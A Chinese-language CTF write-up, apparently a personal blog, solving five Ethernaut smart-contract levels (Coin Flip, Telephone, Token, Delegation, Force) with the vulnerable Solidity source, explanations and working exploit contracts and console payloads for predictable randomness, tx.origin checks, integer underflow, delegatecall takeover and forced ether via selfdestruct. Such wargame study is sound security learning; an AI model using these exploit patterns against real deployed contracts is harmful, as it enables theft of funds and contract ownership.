区块链学习之壹 ethernaut - Coin Flip 投币咯,我最喜欢的;
source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
题解 随机的核心在于 blockhash(block.number - 1)
;
攻击原理是,如果在攻击合约中调用目标合约,就可以让两次调用在一个 block ,从而两次伪随机的结果相同;
注意lastHash == blockValue
是不允许的,这事实上限制了不能连续在同一 block 内调用flip
;
解决方案是运行十次 exp ,而不是在 exp 中调用十次flip
;
source of exp contract
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.8.2 <0.9.0; /** * @title Storage * @dev Store & retrieve value in a variable * @custom:dev-run-script ./scripts/deploy_with_ethers.ts */ // interface for instancing the problem contract interface CoinFlip { function flip(bool _guess) external returns (bool) ; } // accacking contract contract Storage { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; address instance = 0xb9A0C84D1C4a44322a141b401b95a69dCE386dC4; uint256 lastHash; CoinFlip con; function exp() public{ uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } // calculate which side lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; // call con.flip con = CoinFlip(instance); con.flip(side); }
部署合约,调十次 exp
即可;
使用 Remix - Injected Provider 编写 attacking contract 一,写代码到contracts/xxx.sol
,开启自动编译;
二,选择环境 Injected Provider
,选择要部署的合约;
三,部署;
四,调用exp
函数;
这样就完成了一个简单 attacking contract 的部署到调用;
ethernaut - Telephone source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Telephone { address public owner; constructor() { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
difference between msg.sender&tx.origin
很直观了,msg.sender
是功能的调用者,tx.origin
调用功能的账户;
题解 只需要用一个非player
的合约调用instance
即可;
exp source
1 2 3 4 5 6 7 8 9 10 11 12 // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; interface Telephone { function changeOwner(address _owner) external ; } contract Attack { function exp() public { Telephone t = Telephone(0x7433a6f73fA68a0ED229e4164F4D6503ffF0a489); t.changeOwner(tx.origin); } }
ethernaut - Token description
1 2 3 4 5 6 7 //The goal of this level is for you to hack the basic token contract below. //You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens. // Things that might help: //What is an odometer?
要求把自己余额弄成一个很大的数;
source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint256) balances; uint256 public totalSupply; constructor(uint256 _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
What is an odometer? 说实话没懂这个hint;
uint overflow transfer
表面上限制了余额不能为负数:require(balances[msg.sender] - _value >= 0)
;
但是balances
的键值实际上是uint256
,查阅 solidity 官方文档 得知两点:
“Solidity中的整数是有取值范围的。 例如 uint32
类型的取值范围是 0
到 2 ** 32-1
。 0.8.0 开始,算术运算有两个计算模式:一个是 “wrapping”(截断)模式或称 “unchecked”(不检查)模式,一个是”checked” (检查)模式。 默认情况下,算术运算在 “checked” 模式下,即都会进行溢出检查,如果结果落在取值范围之外,调用会通过 失败异常 回退。 你也可以通过 unchecked { ... }
切换到 “unchecked”模式,更多可参考 unchecked .”
在 0.8.0 以前的版本(这里是 0.7.5)有这样的描述:“加法,减法和乘法具有通常的语义,值用两进制补码表示,意思是比如:uint256(0) - uint256(1)== 2 ** 256 - 1
。 我们在设计和编写智能合约时必须考虑到溢出问题。”
题目环境为 0.6.0
,溢出问题存在,要搞大数字直接溢出即可;
题解 payload
1 await contract.transfer (instance,21 )
ethernaut - Delegation description
1 2 3 4 5 6 7 // The goal of this level is for you to claim ownership of the instance you are given. // Things that might help // Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope. // Fallback methods // Method ids
source
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Delegate { address public owner; constructor(address _owner) { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } }
部署的是Delegation
,其回调函数的作用是进行一次delegatecall
, 在Delegate
中调用目标函数;
直接尝试调用pwn()
即可;
而且这里涉及到delegatecall
的特点,不改变交易属性,也就是msg.sender
仍然是player
自己;
发起一个交易,将签名data
改为pwn()
的keccak256
值的前四字节;
傻逼 js slice
的时候把sha3
的结果看作字符串,因此取前四字节要取前十位,因为有"0x"
;
题解 1 await contract.sendTransaction ({data :web3.utils .sha3 ("pwn()" ).slice (0 ,10 )});
注:solidity 的keccak256
就是sha3
;
ethernaut - Force description
1 2 3 4 5 6 7 8 9 // Some contracts will simply not take your money ¯\_(ツ)_/¯ // The goal of this level is to make the balance of the contract greater than zero. // Things that might help: // Fallback methods // Sometimes the best way to attack a contract is with another contract. // See the "?" page above, section "Beyond the console"
source
1 2 3 4 5 6 7 8 9 10 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Force { /* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */ }
给空合约发钱的问题,没有receive()
也没有callback()
;
查阅官方文档:
1 // 一个没有receive函数的合约,可以作为 coinbase 交易 (又名 矿工区块回报 )的接收者或者作为 selfdestruct 的目标来接收以太币。
结合提示,尝试构建一个有receive()
和selfdestruct()
的合约,然后销毁之。
题解 exp source (GPT)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Attack { address payable target; // 在部署时设置目标合约的地址 constructor(address payable _target) { target = _target; } // 允许该合约接收以太币 receive() external payable {} // 自毁合约并发送所有以太币到目标合约 function destroy() external payable { selfdestruct(target); } }
部署之后向目标合约转账;
然后调用destroy()
,getBalance()
后发现instant
已经有余额;
通!
你好 好你;
想起来小学有个大胖子,别人招惹他之后,他的口头禅是:
”好你个……“
小秦加油努力!